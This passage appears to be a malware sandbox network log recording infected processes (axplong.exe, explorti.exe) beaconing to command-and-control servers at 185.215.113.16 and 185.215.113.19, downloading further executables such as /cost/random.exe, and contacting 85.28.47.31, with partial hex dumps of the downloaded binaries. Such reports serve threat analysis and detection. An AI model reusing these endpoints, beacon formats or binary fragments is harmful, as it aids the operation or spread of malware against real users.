Jul 26, 2024 10:37:06.127270937 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:05 GMT Content-Type: application/octet-stream Content-Length: 253952 Last-Modified: Fri, 26 Jul 2024 08:14:45 GMT Connection: keep-alive ETag: "66a35af5-3e000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c3 7d b8 f5 87 1c d6 a6 87 1c d6 a6 87 1c d6 a6 e8 6a 7d a6 9c 1c d6 a6 e8 6a 48 a6 97 1c d6 a6 e8 6a 7c a6 e4 1c d6 a6 8e 64 45 a6 8e 1c d6 a6 87 1c d7 a6 f6 1c d6 a6 e8 6a 79 a6 86 1c d6 a6 e8 6a 4c a6 86 1c d6 a6 e8 6a 4b a6 86 1c d6 a6 52 69 63 68 87 1c d6 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 c1 0f db 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 1a 02 00 00 86 03 02 00 00 00 00 5c 20 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 05 02 00 04 00 00 86 54 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$}j}jHj\|dEjyjLjKRichPELc\ 0@`TXdYS@0.text `.rdataX204@@.datapR@.rsrc@@
Jul 26, 2024 10:37:06.127310038 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 8b f1 c7 06 78 53 42 00 e8 96 06 00 00 f6 44 24 08 01 74 07 56 e8 13 0c 00 00 Data Ascii: VxSBD$tVY^4U( BeE$BV3W{EEu(BE?E,BEE EEYDM=uYD@.=u%\|TDEEEEU
Jul 26, 2024 10:37:06.127343893 CEST	1236	IN	Data Raw: 5e 5b c9 c3 55 8b ec 81 ec 04 08 00 00 56 33 f6 81 3d f4 59 44 02 00 04 00 00 57 75 44 56 56 56 56 ff 15 8c 30 42 00 56 56 56 56 56 56 56 56 56 56 ff 15 98 31 42 00 56 e8 fc 01 00 00 56 56 e8 2b 03 00 00 56 e8 3a 09 00 00 56 56 e8 7e 07 00 00 56 Data Ascii: ^[UV3=YDWuDVVVV0BVVVVVVVVVV1BVVV+V:VV~VVV$3*m}VEPVVV0BV0B\0BV0B.G\|lBYD7=YDuVP00BOu_3^U eWjY3}_9Eu
Jul 26, 2024 10:37:06.127377987 CEST	1236	IN	Data Raw: 0b 17 00 00 c7 00 16 00 00 00 e8 ae 16 00 00 83 c8 ff eb 1b ff 75 08 e8 be 22 00 00 59 8b c8 89 06 23 ca 83 c8 ff 89 56 04 3b c8 74 02 33 c0 5e 5d c3 8b ff 55 8b ec ff 75 0c 6a 0a 6a 00 ff 75 08 e8 2c 25 00 00 83 c4 10 5d c3 8b ff 55 8b ec 5d e9 Data Ascii: u"Y#V;t3^]Uujju,%]U]UMS]VW}M]t}tu/3_^[ut39Ev!tSjQ)-t39Ew}F}tFEE
Jul 26, 2024 10:37:06.127410889 CEST	1236	IN	Data Raw: e5 11 00 00 83 c8 ff eb 28 ff 75 08 e8 ea 14 00 00 59 83 65 fc 00 ff 75 08 e8 2a fe ff ff 59 89 45 e4 c7 45 fc fe ff ff ff e8 09 00 00 00 8b 45 e4 e8 5a 18 00 00 c3 ff 75 08 e8 2f 15 00 00 59 c3 8b ff 51 c7 01 30 32 42 00 e8 6f 2f 00 00 59 c3 8b Data Ascii: (uYeu*YEEEZu/YQ02Bo/YUVEtVY^]UE3+]U=H%CuT2u0h)YY]jXhUBEP0B395yDuVVjV0BMZf9@tu6<@@
Jul 26, 2024 10:37:06.127448082 CEST	1236	IN	Data Raw: 75 10 8b 7d 0c 8d 8d a4 fd ff ff 89 b5 c0 fd ff ff 89 9d d8 fd ff ff 89 85 b8 fd ff ff 89 85 f0 fd ff ff 89 85 cc fd ff ff 89 85 e8 fd ff ff 89 85 d0 fd ff ff 89 85 bc fd ff ff 89 85 c8 fd ff ff e8 6b fe ff ff 85 f6 75 2b e8 18 0d 00 00 c7 00 16 Data Ascii: u}ku+t`pF@u^VY tBtt`hDA$utt`hD@$q3;g3
Jul 26, 2024 10:37:06.127485037 CEST	1236	IN	Data Raw: 48 0f 85 98 04 00 00 83 c3 04 f7 85 f0 fd ff ff 10 08 00 00 89 9d d8 fd ff ff 74 30 0f b7 43 fc 50 68 00 02 00 00 8d 85 f4 fd ff ff 50 8d 85 e0 fd ff ff 50 e8 cc 49 00 00 83 c4 10 85 c0 74 1f c7 85 bc fd ff ff 01 00 00 00 eb 13 8a 43 fc 88 85 f4 Data Ascii: Ht0CPhPPItC/;t;H;t4t+ pBPYpeg4
Jul 26, 2024 10:37:06.127518892 CEST	1236	IN	Data Raw: 02 74 11 c6 85 d4 fd ff ff 20 c7 85 d0 fd ff ff 01 00 00 00 8b 9d cc fd ff ff 2b 9d e0 fd ff ff 2b 9d d0 fd ff ff 89 9d 9c fd ff ff a8 0c 75 27 8b fb 85 db 7e 21 8b 8d c0 fd ff ff 8d b5 dc fd ff ff b0 20 4f e8 46 f5 ff ff 83 bd dc fd ff ff ff 74 Data Ascii: t ++u'~! OFtPNYt(u0KttT~PPjEPPKWDu tEP
Jul 26, 2024 10:37:06.127552032 CEST	1236	IN	Data Raw: ff 89 30 e8 e3 fe ff ff 89 30 8b c7 5f 5e eb 14 53 e8 71 41 00 00 59 e8 cf fe ff ff c7 00 0c 00 00 00 33 c0 5b 5d c3 cc cc cc cc 8b 4c 24 04 f7 c1 03 00 00 00 74 24 8a 01 83 c1 01 84 c0 74 4e f7 c1 03 00 00 00 75 ef 05 00 00 00 00 8d a4 24 00 00 Data Ascii: 00_^SqAY3[]L$t$tNu$$~3tAt2t$ttAL$+AL$+AL$+AL$+jhj0B3P%CqByDVj^u;}
Jul 26, 2024 10:37:06.127583981 CEST	1236	IN	Data Raw: 45 08 85 c0 75 15 e8 0c fa ff ff c7 00 16 00 00 00 e8 af f9 ff ff 83 c8 ff 5d c3 8b 40 10 5d c3 cc cc cc cc cc cc cc 68 f0 36 40 00 64 ff 35 00 00 00 00 8b 44 24 10 89 6c 24 10 8d 6c 24 10 2b e0 53 56 57 a1 fc 7c 42 00 31 45 fc 33 c5 50 89 65 e8 Data Ascii: Eu]@]h6@d5D$l$l$+SVW\|B1E3PeuEEEEdMdY__^[]QUS]Vs35\|BWEE{tN381;NF38!;E@fMUS[EMt
Jul 26, 2024 10:37:06.129410982 CEST	1236	IN	Data Raw: 0f 84 d6 00 00 00 8b 56 04 85 d2 75 0b 21 95 f4 ef ff ff e9 c4 00 00 00 2b 4e 08 f6 40 04 80 8d 3c 0a 0f 84 9c 00 00 00 6a 02 6a 00 6a 00 ff b5 e8 ef ff ff e8 98 20 00 00 83 c4 10 3b 85 ec ef ff ff 75 24 3b 95 f0 ef ff ff 75 1c 8b 46 08 8d 0c 38 Data Ascii: Vu!+N@<jjj ;u$;uF88uG@;rF YjP ;wNtt~DtGu)u3
Jul 26, 2024 10:40:37.650223970 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:40:38.422755003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49757	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:05.356633902 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:06.143786907 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:06.144562006 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:06.432147026 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49758	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:06.543592930 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:07.343132019 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:07.344000101 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:07.611500025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:38.684779882 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:40:39.521864891 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49759	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:07.352705002 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000002001&unit=246122658369
Jul 26, 2024 10:37:08.133173943 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Jul 26, 2024 10:40:38.913655996 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:40:39.667649984 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49760	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:07.733817101 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:08.504844904 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:08.505706072 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:08.757896900 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:39.535876036 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:40:40.282954931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49761	185.215.113.16	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:08.142638922 CEST	55	OUT	GET /cost/random.exe HTTP/1.1 Host: 185.215.113.16
Jul 26, 2024 10:37:08.443564892 CEST	55	OUT	GET /cost/random.exe HTTP/1.1 Host: 185.215.113.16
Jul 26, 2024 10:37:09.228351116 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:09 GMT Content-Type: application/octet-stream Content-Length: 91648 Last-Modified: Fri, 26 Jul 2024 07:30:51 GMT Connection: keep-alive ETag: "66a350ab-16600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 62 05 40 5d 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 0c 01 00 00 56 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 01 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c 71 01 00 c8 00 00 00 00 90 01 00 9c 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELb@]2V0@\|qpt,.code78 `.textP< `.rdata304@@.data,pD@.rsrcV@@
Jul 26, 2024 10:37:09.229259968 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 ac 00 00 00 68 00 00 00 00 68 10 80 41 00 e8 5c 40 00 00 83 c4 0c 68 00 00 00 00 Data Ascii: hhhA\@hU@AhhhB@A?pA4AICZx}@Ck.pAA?h?<APAP1Phh
Jul 26, 2024 10:37:09.229274988 CEST	328	IN	Data Raw: 01 00 00 00 68 04 00 00 00 e8 1e c7 00 00 8d 54 24 14 52 68 00 00 00 00 68 05 00 00 00 68 01 00 00 00 68 04 00 00 00 e8 00 c7 00 00 ff 74 24 04 e8 ad 86 00 00 8b 44 24 50 eb 02 31 c0 ff 34 24 e8 6d ca 00 00 50 ff 74 24 10 e8 30 c8 00 00 ff 74 24 Data Ascii: hT$Rhhhht$D$P14$mPt$0t$'X@_[]US$JuA2\|AuhAt1!&pAP5AB$D$$;D$RZPRZPfpAP
Jul 26, 2024 10:37:09.229290962 CEST	1236	IN	Data Raw: 10 52 e8 33 ca 00 00 ba 66 70 41 00 52 e8 28 ca 00 00 8d 44 24 14 50 e8 be c8 00 00 ff 44 24 04 0f 81 61 ff ff ff ff 74 24 10 e8 eb 40 00 00 89 44 24 14 68 00 00 00 00 8d 44 24 1c 50 ff 74 24 1c e8 34 85 00 00 50 ff 74 24 20 ff 35 3c 80 41 00 e8 Data Ascii: R3fpAR(D$PD$at$@D$hD$Pt$4Pt$ 5<AX:t$;$pAA:AD$RZPRZP.pAPt$(5$A_AD$P%2pAPt$CD$ \|$ t\RZPRZP2pAPht$ A
Jul 26, 2024 10:37:09.229309082 CEST	1236	IN	Data Raw: e8 06 8c 00 00 ff 74 24 10 68 00 00 00 00 b8 24 70 41 00 50 ff 35 2c 80 41 00 e8 c1 35 00 00 ff 35 2c 80 41 00 e8 77 38 00 00 52 e8 96 c3 00 00 5a 50 52 e8 8e c3 00 00 5a 50 ff 74 24 18 e8 c3 80 00 00 8d 05 40 80 41 00 50 e8 b7 c3 00 00 ff 35 40 Data Ascii: t$h$pAP5,A55,Aw8RZPRZPt$@AP5@At$5@A>8t$h$pAP5,A]5R=ZPR5ZPt$jpAP^t$1t$t$t$[US1PPPPPP"RZPhh
Jul 26, 2024 10:37:09.229324102 CEST	328	IN	Data Raw: 6e 00 00 e8 0a 32 00 00 e9 05 f2 ff ff 31 c0 ff 34 24 e8 ab bf 00 00 83 c4 04 c3 53 31 c0 50 e8 0e c0 00 00 8b 1c 24 83 fb 01 75 1a ff 35 18 80 41 00 e8 02 34 00 00 21 c0 74 0b ff 35 18 80 41 00 e8 62 34 00 00 ff 35 70 80 41 00 e8 08 88 00 00 ff Data Ascii: n214$S1P$u5A4!t5Ab45pA5`A5@A5,A05xA0t$1[US$JuT$\$0T$`L$0T$dL$/D$l$E<E@EBp
Jul 26, 2024 10:37:09.229978085 CEST	1236	IN	Data Raw: 01 00 00 74 02 eb 02 eb d1 8b 44 24 4c eb 02 31 c0 ff 34 24 e8 61 be 00 00 ff 74 24 04 e8 58 be 00 00 ff 74 24 08 e8 4f be 00 00 83 c4 50 5b 5d c2 0c 00 53 e8 b1 be 00 00 8b 5c 24 0c 83 fb 0a 75 19 68 00 00 00 00 8d 05 57 2e 40 00 50 ff 74 24 14 Data Ascii: tD$L14$at$Xt$OP[]S\$uhW.@Pt$t$/1[S\$SX/hA\$SX/0A\$SX/LA\$SXz/A\$SXg/\|A1[S1PPPPt$/\$SX9/
Jul 26, 2024 10:37:09.229995012 CEST	1236	IN	Data Raw: 12 76 00 00 8d 44 24 14 50 e8 08 b9 00 00 8b 54 24 10 52 e8 be b8 00 00 5a 50 52 e8 56 ba 00 00 8d 44 24 18 50 e8 ec b8 00 00 8b 44 24 14 50 e8 8f 2d 00 00 89 44 24 18 ff 74 24 14 e8 f5 37 00 00 89 44 24 1c 8b 5c 24 1c 21 db 7e 5a 52 e8 83 b8 00 Data Ascii: vD$PT$RZPRVD$PD$P-D$t$7D$\$!~ZRZPpARRpZPRhZPR`ZPRXZP\$0CSt$(:D+$:XD$$Pot$ t$brT$ RZPRXPZ/ft$t$t$
Jul 26, 2024 10:37:09.230009079 CEST	1236	IN	Data Raw: 74 24 38 e8 15 fa ff ff 21 c0 0f 84 a4 00 00 00 8b 1d 80 80 41 00 43 89 1d 80 80 41 00 52 e8 df b3 00 00 5a 50 52 e8 d7 b3 00 00 5a 50 ff 74 24 40 e8 46 01 00 00 e8 c7 b5 00 00 8b 15 88 80 41 00 52 e8 bb b3 00 00 5a 50 52 e8 53 b5 00 00 52 e8 ad Data Ascii: t$8!ACARZPRZPt$@FARZPRSRZPRZPARPv6X&$&T$m&5AyT$8ReZPR-AEPD$ t$4;pR5ZPR-ZPR%ZPARP55
Jul 26, 2024 10:37:09.231384039 CEST	672	IN	Data Raw: 4a 22 00 00 b8 88 70 41 00 a3 34 80 41 00 a1 34 80 41 00 8b 00 89 04 24 83 05 34 80 41 00 04 a1 34 80 41 00 8b 00 89 44 24 04 83 05 34 80 41 00 04 ff 34 24 8d 44 24 0c 50 58 e8 7f 21 00 00 ff 74 24 04 8d 44 24 0c 89 c3 83 c3 04 53 58 e8 6b 21 00 Data Ascii: J"pA4A4A$4A4AD$4A4$D$PX!t$D$SXk!RZPRZPRZPRZPhhD$ PG!$.XP!Zf[1PPPPPPRlZPRdZPR\ZPRTZPh5HA?!
Jul 26, 2024 10:37:09.234385014 CEST	1236	IN	Data Raw: 80 41 00 52 e8 25 ae 00 00 e8 82 1f 00 00 01 14 24 e8 04 f2 ff ff e8 93 1f 00 00 8b 54 24 08 52 e8 69 ac 00 00 5a 50 52 e8 01 ae 00 00 8d 05 50 80 41 00 50 e8 95 ac 00 00 ff 35 50 80 41 00 e8 3d 21 00 00 ff 34 24 e8 6b fa ff ff e9 5d df ff ff 31 Data Ascii: AR%$T$RiZPRPAP5PA=!4$k]14$t$t$t$t$S$Ju3t$,T$$$T$(L$!t"At1!fRZPRZP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49762	85.28.47.31	80	8012	C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:08.763510942 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 26, 2024 10:37:09.398255110 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:37:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
